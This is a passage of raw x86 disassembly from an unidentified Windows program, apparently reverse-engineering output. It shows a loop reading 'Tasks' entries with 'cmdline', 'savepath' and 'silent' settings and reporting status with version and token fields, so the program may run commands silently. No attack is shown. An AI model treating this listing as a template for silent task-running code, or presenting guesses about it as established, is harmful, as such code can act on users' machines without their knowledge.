lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov ebx, eax
lea eax, [ebp - 0x6d4]
mov byte [ebp - 4], 0xd1
push eax
lea eax, [ebp - 0x6bc]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov edi, eax
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0xd2
call fcn.0040f960
push eax
mov ecx, ebx
call fcn.0040f960
push eax
lea ecx, [ebp - 0x4f8]
call fcn.0040f960
push eax
mov ecx, edi
call fcn.0040f960
push eax
mov ecx, esi
call fcn.004560b0
lea ecx, [ebp - 0x6d4]
mov edi, eax
call fcn.00407320
lea ecx, [ebp - 0x4c8]
call fcn.00407320
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xce
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4c8]
call fcn.00406750
test edi, edi
je 0x45219f
push str.Success
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0xd3
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xd4
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xd5
call fcn.00406750
mov byte [ebp - 4], 0xd6
jmp 0x4521df
push str.Error
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0xd7
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xd8
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xd9
call fcn.00406750
mov byte [ebp - 4], 0xda
push 1
lea eax, [ebp - 0x4c8]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x6d4]
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
call fcn.00407270
lea ecx, [ebp - 0x4f8]
call fcn.00407320
lea ecx, [ebp - 0x448]
call fcn.00407320
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0xaa
call fcn.00407320
mov ebx, dword [ebp - 0x430]
test ebx, ebx
je 0x45261d
lea ecx, [ebp - 0x5c0]
call fcn.00439e10
lea ecx, [ebp - 0x5c0]
mov byte [ebp - 4], 0xe4
call fcn.00439f40
push str.taskid
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0xe5
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437b50
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xe4
mov edi, eax
call fcn.00407270
lea ecx, [ebp - 0x5c0]
call fcn.00439ed0
mov edx, eax
mov ecx, edi
call fcn.00417120
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4e0]
call fcn.00406750
push str.Success
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0xe6
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xe7
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xe8
call fcn.00406750
push 1
lea eax, [ebp - 0x4e0]
mov byte [ebp - 4], 0xe9
push eax
lea eax, [ebp - 0x6d4]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
call fcn.00407270
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x5c0]
call fcn.00401ee0
jmp 0x45261d
push str.tasktype
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0xdb
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437b50
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xaa
mov edi, eax
call fcn.00407270
cmp edi, 4
jne 0x452274
mov ebx, dword [ebp - 0x430]
test ebx, ebx
jne 0x452282
lea eax, [ebp - 0x4a8]
mov ecx, esi
push eax
call fcn.00454e70
lea ecx, [ebp - 0x528]
test al, al
je 0x452500
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4c8]
call fcn.00406750
push str.Success
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0xdc
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xdd
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xde
call fcn.00406750
mov byte [ebp - 4], 0xdf
push 1
lea eax, [ebp - 0x4c8]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x6d4]
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0xaa
call fcn.00407270
jmp 0x45227a
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4c8]
call fcn.00406750
push str.Error
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0xe0
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xe1
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xe2
call fcn.00406750
mov byte [ebp - 4], 0xe3
jmp 0x452487
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4c8]
call fcn.00406750
push str.Unchecked
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0xea
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xeb
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xec
call fcn.00406750
push 1
lea eax, [ebp - 0x4c8]
mov byte [ebp - 4], 0xed
push eax
lea eax, [ebp - 0x6d4]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
call fcn.00407270
lea ecx, [ebp - 0x4a8]
call fcn.00407520
lea ecx, [ebp - 0x528]
mov byte [ebp - 4], 0x8e
call fcn.00407270
inc dword [ebp - 0x42c]
lea ecx, [ebp - 0x494]
push str.Tasks
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x8f
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x90
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00437b10
cmp dword [ebp - 0x42c], eax
lea ecx, [ebp - 0x448]
setl bl
call fcn.00407270
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x8e
call fcn.00407270
test bl, bl
jne 0x450f20
lea ecx, [ebp - 0x564]
call fcn.004077e0
mov ebx, eax
lea ecx, [ebp - 0x564]
mov dword [ebp - 0x430], ebx
call fcn.00456640
mov dword [ebp - 0x42c], eax
cmp ebx, eax
je 0x452cc5
mov ecx, ebx
call fcn.004566d0
mov ebx, eax
lea ecx, [ebp - 0x464]
push str.Tasks
mov dword [ebp - 0x44c], ebx
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xee
call fcn.00406750
mov byte [ebp - 4], 0xef
lea eax, [ebp - 0x464]
push dword [ebx]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004025c0
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xf2
call fcn.00407270
push str.taskidstr
lea ecx, [ebp - 0x6d4]
call fcn.00406750
lea eax, [ebp - 0x448]
mov byte [ebp - 4], 0xf3
push eax
lea eax, [ebp - 0x6d4]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00403d30
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0xf5
call fcn.00407270
cmp dword [ebx + 4], 0
je 0x452bbf
push dword [ebx]
mov ecx, esi
push str.cmdline
push 2
call fcn.0044e730
test eax, eax
je 0x4528c7
push str.cmdline
lea ecx, [ebp - 0x464]
call fcn.00406750
push str.savepath
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xf6
call fcn.00406750
lea eax, [ebp - 0x4c8]
mov byte [ebp - 4], 0xf7
push eax
lea eax, [ebp - 0x464]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov ebx, eax
lea eax, [ebp - 0x540]
mov byte [ebp - 4], 0xf8
push eax
lea eax, [ebp - 0x6bc]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov edi, eax
mov ecx, ebx
mov byte [ebp - 4], 0xf9
call fcn.0040f960
push eax
mov ecx, edi
call fcn.0040f960
push eax
lea eax, [ebp - 0x4e0]
push 0x5909e4
push eax
call fcn.00413710
add esp, 0x10
lea ecx, [ebp - 0x540]
call fcn.00407320
lea ecx, [ebp - 0x4c8]
call fcn.00407320
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xfe
call fcn.00407270
push 0
lea ecx, [ebp - 0x4e0]
call fcn.0040f960
xor edx, edx
mov ecx, eax
call fcn.00417040
mov ebx, dword [ebp - 0x44c]
lea ecx, [ebp - 0x4e0]
add esp, 4
mov byte [ebp - 4], 0xf5
mov dword [ebx + 8], eax
call fcn.00407320
jmp 0x45293b
push str.savepath
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x464]
mov byte [ebp - 4], 0xff
push eax
lea eax, [ebp - 0x6bc]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
push 0
mov ecx, eax
mov dword [ebp - 4], 0x100
call fcn.0040f960
xor edx, edx
mov ecx, eax
call fcn.00417040
add esp, 4
mov dword [ebx + 8], eax
lea ecx, [ebp - 0x464]
mov dword [ebp - 4], 0xff
call fcn.00407320
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xf5
call fcn.00407270
cmp dword [ebx + 8], 0
je 0x452a92
lea ecx, [ebp - 0x5c0]
call fcn.00439e10
lea ecx, [ebp - 0x5c0]
mov dword [ebp - 4], 0x101
call fcn.00439f40
push str.taskid
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437b50
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 1
mov edi, eax
call fcn.00407270
lea ecx, [ebp - 0x5c0]
call fcn.00439ed0
mov edx, eax
mov ecx, edi
call fcn.00417120
lea ecx, [ebp - 0x448]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4e0]
call fcn.00406750
push str.Success
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 3
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 4
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 5
call fcn.00406750
push 1
lea eax, [ebp - 0x4e0]
mov byte [ebp - 4], 6
push eax
lea eax, [ebp - 0x6d4]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
call fcn.00407270
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x5c0]
mov dword [ebp - 4], 0xf5
call fcn.00401ee0
jmp 0x452c90
lea ecx, [ebp - 0x448]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x540]
call fcn.00406750
push str.Success
lea ecx, [ebp - 0x4e0]
mov dword [ebp - 4], 0x107
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 8
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 9
call fcn.00406750
push 0
lea eax, [ebp - 0x540]
mov byte [ebp - 4], 0xa
push eax
lea eax, [ebp - 0x4e0]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
mov dword [ebp - 4], 0xf5
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x540]
call fcn.00406750
push str.Error
lea ecx, [ebp - 0x4e0]
mov dword [ebp - 4], 0x10b
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xc
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xd
call fcn.00406750
mov byte [ebp - 4], 0xe
jmp 0x452c19
lea ecx, [ebp - 0x448]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x540]
call fcn.00406750
push str.Error
lea ecx, [ebp - 0x4e0]
mov dword [ebp - 4], 0x10f
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0x10
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x11
call fcn.00406750
mov byte [ebp - 4], 0x12
push 1
lea eax, [ebp - 0x540]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4e0]
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
mov dword [ebp - 4], 0xf5
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x4a8]
mov byte [ebp - 4], 0x8e
call fcn.00407520
mov ebx, dword [ebp - 0x430]
add ebx, 8
mov dword [ebp - 0x430], ebx
cmp ebx, dword [ebp - 0x42c]
jne 0x4526e2
lea ecx, [ebp - 0x564]
mov byte [ebp - 4], pe_nt_image_headers32
call fcn.00456650
mov eax, dword [esi + 0x9fc]
cmp eax, 0xc8
je 0x452d0d
cmp eax, 0x190
je 0x452d0d
mov ecx, esi
call fcn.0044a0a0
test eax, eax
je 0x4535ae
mov eax, dword [esi + 0x9fc]
cmp eax, 0x64
je 0x452d0d
cmp eax, 0x12c
jne 0x4535ae
push str.Favorite
lea ecx, [ebp - 0x4e0]
call fcn.00406750
mov dword [ebp - 4], 0x113
lea ecx, [ebp - 0x6d4]
mov ebx, dword [ebp - 0x424]
or ebx, 0x2000000
push str.Config
mov dword [ebp - 0x428], ebx
call fcn.00406750
lea eax, [ebp - 0x4e0]
mov dword [ebp - 4], 0x114
push eax
lea eax, [ebp - 0x6d4]
or ebx, 0x4000000
push eax
mov ecx, 0x5ba9b8
mov dword [ebp - 0x428], ebx
mov edi, ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437e40
test al, al
je 0x452df7
push str.Favorite
lea ecx, [ebp - 0x464]
call fcn.00406750
mov dword [ebp - 4], 0x115
lea ecx, [ebp - 0x6bc]
or ebx, 0x8000000
push str.Config
mov dword [ebp - 0x428], ebx
call fcn.00406750
lea eax, [ebp - 0x464]
mov dword [ebp - 4], 0x116
push eax
mov ebx, edi
lea eax, [ebp - 0x6bc]
or ebx, 0x18000000
mov ecx, 0x5ba9b8
push eax
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00437f60
mov byte [ebp - 0x6a1], 1
test al, al
je 0x452dfe
mov byte [ebp - 0x6a1], 0
test ebx, 0x10000000
je 0x452e17
lea ecx, [ebp - 0x6bc]
and ebx, 0xefffffff
call fcn.00407270
test ebx, 0x8000000
je 0x452e30
lea ecx, [ebp - 0x464]
and ebx, 0xf7ffffff
call fcn.00407270
lea ecx, [ebp - 0x6d4]
call fcn.00407270
lea ecx, [ebp - 0x4e0]
mov dword [ebp - 4], pe_nt_image_headers32
and ebx, 0xf9ffffff
call fcn.00407270
cmp byte [ebp - 0x6a1], 0
mov edi, ebx
je 0x4535ae
push str.taskidstr
lea ecx, [ebp - 0x6d4]
call fcn.00406750
push str.Favorite
lea ecx, [ebp - 0x464]
mov dword [ebp - 4], 0x117
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x18
call fcn.00406750
lea eax, [ebp - 0x528]
mov byte [ebp - 4], 0x19
push eax
lea eax, [ebp - 0x6d4]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00403d30
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0x1d
call fcn.00407270
push 0
push str.silent
push 1
mov ecx, esi
call fcn.0044d810
test eax, eax
je 0x4531dd
push str.checked
lea ecx, [ebp - 0x4c8]
call fcn.00406750
push str.Favorite
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x1e
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x1f
call fcn.00406750
push 1
lea eax, [ebp - 0x4c8]
mov byte [ebp - 4], 0x20
push eax
lea eax, [ebp - 0x540]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4e0]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x1d
call fcn.00407270
push str.selected
lea ecx, [ebp - 0x47c]
call fcn.00406750
push str.Favorite
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x21
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x22
call fcn.00406750
push 1
lea eax, [ebp - 0x47c]
mov byte [ebp - 4], 0x23
push eax
lea eax, [ebp - 0x540]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4e0]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x1d
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x47c]
call fcn.00406750
mov byte [ebp - 4], 0x24
push str.Checked
lea ecx, [ebp - 0x4c8]
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x25
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x26
call fcn.00406750
push 1
lea eax, [ebp - 0x47c]
mov byte [ebp - 4], 0x27
push eax
lea eax, [ebp - 0x4c8]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x540]
push eax
lea eax, [ebp - 0x4e0]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
call fcn.00407270
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x1d
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x47c]
call fcn.00406750
push str.Unchecked
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x28
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x29
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x2a
call fcn.00406750
push 0
lea eax, [ebp - 0x47c]
mov byte [ebp - 4], 0x2b
push eax
lea eax, [ebp - 0x4c8]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x540]
push eax
lea eax, [ebp - 0x4e0]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
call fcn.00407270
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x1d
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x47c]
call fcn.00406750
push str.Show
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x2c
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x2d
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x2e
call fcn.00406750
push 1
lea eax, [ebp - 0x47c]
mov byte [ebp - 4], 0x2f
push eax
lea eax, [ebp - 0x4c8]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x540]
push eax
lea eax, [ebp - 0x4e0]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
call fcn.00407270
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x1d
call fcn.00407270
push str.checked
lea ecx, [ebp - 0x510]
call fcn.00406750
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x540]
or ebx, 0x20000000
push str.Favorite
mov dword [ebp - 0x428], ebx
call fcn.00406750
mov eax, edi
mov dword [ebp - 4], 0x131
or eax, 0x60000000
lea ecx, [ebp - 0x4e0]
push str.Config
mov dword [ebp - 0x428], eax
call fcn.00406750
lea eax, [ebp - 0x510]
mov dword [ebp - 4], 0x132
push eax
lea eax, [ebp - 0x540]
or edi, 0xe0000000
push eax
lea eax, [ebp - 0x4e0]
mov dword [ebp - 0x428], edi
push eax
mov ecx, 0x5ba9b8
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404790
cmp al, 1
jne 0x45335d
push 1
push str.Status
mov ecx, esi
call fcn.0043b1e0
test eax, eax
jne 0x45335d
mov bl, 1
jmp 0x45335f
xor bl, bl
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x510]
mov dword [ebp - 4], 0x11d
call fcn.00407270
test bl, bl
je 0x4534d5
push 4
push str.General
mov ecx, esi
call fcn.0043b1e0
test eax, eax
je 0x45347c
lea eax, [ebp - 0x5c0]
mov ecx, esi
push eax
push 0
push 0
call fcn.0044adb0
lea eax, [ebp - 0x5c0]
push eax
mov eax, dword [esi + 0xac8]
call eax
lea ecx, [ebp - 0x528]
test eax, eax
jne 0x453426
call fcn.00405f80
push eax
lea ecx, [ebp - 0x47c]
call fcn.00406750
push str.Checked
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x33
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x34
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x35
call fcn.00406750
mov byte [ebp - 4], 0x36
jmp 0x45352c
call fcn.00405f80
push eax
lea ecx, [ebp - 0x47c]
call fcn.00406750
push str.Unchecked
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x37
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x38
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x39
call fcn.00406750
mov byte [ebp - 4], 0x3a
jmp 0x45352c
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x47c]
call fcn.00406750
push str.Checked
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x3b
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x3c
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x3d
call fcn.00406750
mov byte [ebp - 4], 0x3e
jmp 0x45352c
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x47c]
call fcn.00406750
push str.Unchecked
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x3f
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], pe_nt_image_headers32
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x41
call fcn.00406750
mov byte [ebp - 4], 0x42
push 1
lea eax, [ebp - 0x47c]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4c8]
push eax
lea eax, [ebp - 0x540]
push eax
lea eax, [ebp - 0x4e0]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
call fcn.00407270
lea ecx, [ebp - 0x47c]
call fcn.00407270
lea ecx, [ebp - 0x528]
mov dword [ebp - 4], pe_nt_image_headers32
call fcn.00407270
push 0xb0
lea ecx, [ebp - 0x6a0]
call fcn.0040b770
push 1
push 3
lea ecx, [ebp - 0x6a0]
call fcn.0040bf40
push 1
push str.Status
mov ecx, esi
mov dword [ebp - 4], 0x143
call fcn.0043b1e0
push eax
mov edx, str.ver
lea ecx, [ebp - 0x690]
call fcn.0040dcf0
mov edx, str.4.4.2.37
mov ecx, eax
call fcn.0040dcf0
push ecx
mov edx, str.developer
mov ecx, eax
call fcn.0040dcf0
add esp, 4
mov ecx, eax
call fcn.0040c030
mov edx, str.winver
mov ecx, eax
call fcn.0040dcf0
lea edx, [esi + 0x5b0]
mov ecx, eax
call fcn.0040dfb0
push dword [esi + 0x9fc]
mov edx, str.token
lea ecx, [ebp - 0x690]
call fcn.0040dcf0
lea edx, [esi + 0x538]
mov ecx, eax
call fcn.0040dfb0
push ecx
mov edx, str.button
mov ecx, eax
call fcn.0040dcf0
add esp, 4
mov ecx, eax
call fcn.004572a0
push 8
lea ecx, [ebp - 0x578]
call fcn.00421110
push str.Show
push str.show
lea ecx, [ebp - 0x130]
call fcn.0045ad00
push str.Checked
push 0x590a00
lea ecx, [ebp - 0x100]
